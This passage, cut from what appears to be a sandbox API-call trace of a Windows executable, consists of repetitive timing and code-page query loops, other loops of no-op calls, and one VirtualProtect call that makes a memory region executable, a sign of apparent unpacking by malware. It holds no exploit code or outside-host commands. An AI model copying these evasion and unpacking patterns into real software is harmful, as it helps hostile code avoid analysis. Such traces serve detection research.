lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.585] VirtualProtect (in: lpAddress=0x535ab8, dwSize=0xf540, flNewProtect=0x40, lpflOldProtect=0x43b444 | out: lpflOldProtect=0x43b444*=0x4) returned 1 [0053.586] AddAtomA (lpString=0x0) returned 0x0 [0053.586] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.586] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.586] AddAtomA (lpString=0x0) returned 0x0 [0053.586] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.586] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.586] AddAtomA (lpString=0x0) returned 0x0 [0053.586] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.586] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.586] AddAtomA (lpString=0x0) returned 0x0 [0053.586] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.586] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.586] AddAtomA (lpString=0x0) returned 0x0 [0053.586] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.586] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.586] AddAtomA (lpString=0x0) returned 0x0 [0053.586] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.587] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.587] AddAtomA (lpString=0x0) returned 0x0 [0053.587] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.587] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.587] AddAtomA (lpString=0x0) returned 0x0 [0053.587] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.587] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.587] AddAtomA (lpString=0x0) returned 0x0 [0053.587] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.587] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.587] AddAtomA (lpString=0x0) returned 0x0 [0053.587] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.587] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.587] AddAtomA (lpString=0x0) returned 0x0 [0053.587] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.587] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.587] AddAtomA (lpString=0x0) returned 0x0 [0053.587] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.587] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.587] AddAtomA (lpString=0x0) returned 0x0 [0053.587] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.587] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.588] AddAtomA (lpString=0x0) returned 0x0 [0053.588] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.588] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.588] AddAtomA (lpString=0x0) returned 0x0 [0053.588] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.588] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.588] AddAtomA (lpString=0x0) returned 0x0 [0053.588] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.588] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.588] AddAtomA (lpString=0x0) returned 0x0 [0053.588] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.588] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.588] AddAtomA (lpString=0x0) returned 0x0 [0053.588] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.588] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.588] AddAtomA (lpString=0x0) returned 0x0 [0053.588] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.589] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.589] AddAtomA (lpString=0x0) returned 0x0 [0053.589] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.589] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.589] AddAtomA (lpString=0x0) returned 0x0 [0053.589] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.589] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.589] AddAtomA (lpString=0x0) returned 0x0 [0053.589] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.589] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.589] AddAtomA (lpString=0x0) returned 0x0 [0053.589] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.589] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.589] AddAtomA (lpString=0x0) returned 0x0 [0053.589] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.589] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.589] AddAtomA (lpString=0x0) returned 0x0 [0053.589] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.589] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.590] AddAtomA (lpString=0x0) returned 0x0 [0053.590] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.590] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.590] AddAtomA (lpString=0x0) returned 0x0 [0053.590] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.590] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.590] AddAtomA (lpString=0x0) returned 0x0 [0053.590] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.590] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.590] AddAtomA (lpString=0x0) returned 0x0 [0053.590] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.590] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.590] AddAtomA (lpString=0x0) returned 0x0 [0053.590] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.590] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.590] AddAtomA (lpString=0x0) returned 0x0 [0053.590] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.590] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.590] AddAtomA (lpString=0x0) returned 0x0 [0053.590] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.590] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.590] AddAtomA (lpString=0x0) returned 0x0 [0053.591] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.591] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.591] AddAtomA (lpString=0x0) returned 0x0 [0053.591] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.591] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.591] AddAtomA (lpString=0x0) returned 0x0 [0053.591] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.591] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.591] AddAtomA (lpString=0x0) returned 0x0 [0053.591] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.591] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.591] AddAtomA (lpString=0x0) returned 0x0 [0053.591] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.591] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.591] AddAtomA (lpString=0x0) returned 0x0 [0053.591] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.591] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.591] AddAtomA (lpString=0x0) returned 0x0 [0053.591] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.591] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.591] AddAtomA (lpString=0x0) returned 0x0 [0053.591] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.591] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.591] AddAtomA (lpString=0x0) returned 0x0 [0053.591] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.592] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.592] AddAtomA (lpString=0x0) returned 0x0 [0053.592] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.592] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.592] AddAtomA (lpString=0x0) returned 0x0 [0053.592] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.592] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.592] AddAtomA (lpString=0x0) returned 0x0 [0053.592] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.592] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.592] AddAtomA (lpString=0x0) returned 0x0 [0053.592] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.592] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.592] AddAtomA (lpString=0x0) returned 0x0 [0053.592] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.592] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.592] AddAtomA (lpString=0x0) returned 0x0 [0053.592] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.592] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.592] AddAtomA (lpString=0x0) returned 0x0 [0053.592] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.592] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.592] AddAtomA (lpString=0x0) returned 0x0 [0053.592] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.593] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.593] AddAtomA (lpString=0x0) returned 0x0 [0053.593] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.593] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.593] AddAtomA (lpString=0x0) returned 0x0 [0053.593] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.593] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.593] AddAtomA (lpString=0x0) returned 0x0 [0053.593] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.593] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.593] AddAtomA (lpString=0x0) returned 0x0 [0053.593] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.593] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.593] AddAtomA (lpString=0x0) returned 0x0 [0053.593] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.593] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.593] AddAtomA (lpString=0x0) returned 0x0 [0053.593] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.593] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.593] AddAtomA (lpString=0x0) returned 0x0 [0053.593] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.593] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.593] AddAtomA (lpString=0x0) returned 0x0 [0053.593] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.594] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.594] AddAtomA (lpString=0x0) returned 0x0 [0053.594] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.594] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.594] AddAtomA (lpString=0x0) returned 0x0 [0053.594] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.594] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.594] AddAtomA (lpString=0x0) returned 0x0 [0053.594] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.594] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.594] AddAtomA (lpString=0x0) returned 0x0 [0053.594] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.594] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.594] AddAtomA (lpString=0x0) returned 0x0 [0053.594] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.594] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.594] AddAtomA (lpString=0x0) returned 0x0 [0053.594] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.594] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.594] AddAtomA (lpString=0x0) returned 0x0 [0053.594] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.594] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.594] AddAtomA (lpString=0x0) returned 0x0 [0053.594] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.594] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.594] AddAtomA (lpString=0x0) returned 0x0 [0053.594] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.594] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.594] AddAtomA (lpString=0x0) returned 0x0 [0053.594] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.594] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.595] AddAtomA (lpString=0x0) returned 0x0 [0053.595] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.595] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.595] AddAtomA (lpString=0x0) returned 0x0 [0053.595] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.595] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.595] AddAtomA (lpString=0x0) returned 0x0 [0053.595] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.595] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.595] AddAtomA (lpString=0x0) returned 0x0 [0053.595] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.595] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.595] AddAtomA (lpString=0x0) returned 0x0 [0053.595] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.595] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.595] AddAtomA (lpString=0x0) returned 0x0 [0053.595] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.595] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.595] AddAtomA (lpString=0x0) returned 0x0 [0053.595] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.595] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.595] AddAtomA (lpString=0x0) returned 0x0 [0053.595] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.595] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.595] AddAtomA (lpString=0x0) returned 0x0 [0053.595] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.595] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.595] AddAtomA (lpString=0x0) returned 0x0 [0053.595] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.595] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.595] AddAtomA (lpString=0x0) returned 0x0 [0053.595] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.595] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.595] AddAtomA (lpString=0x0) returned 0x0 [0053.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.596] GetCurrentDirectoryA (in: 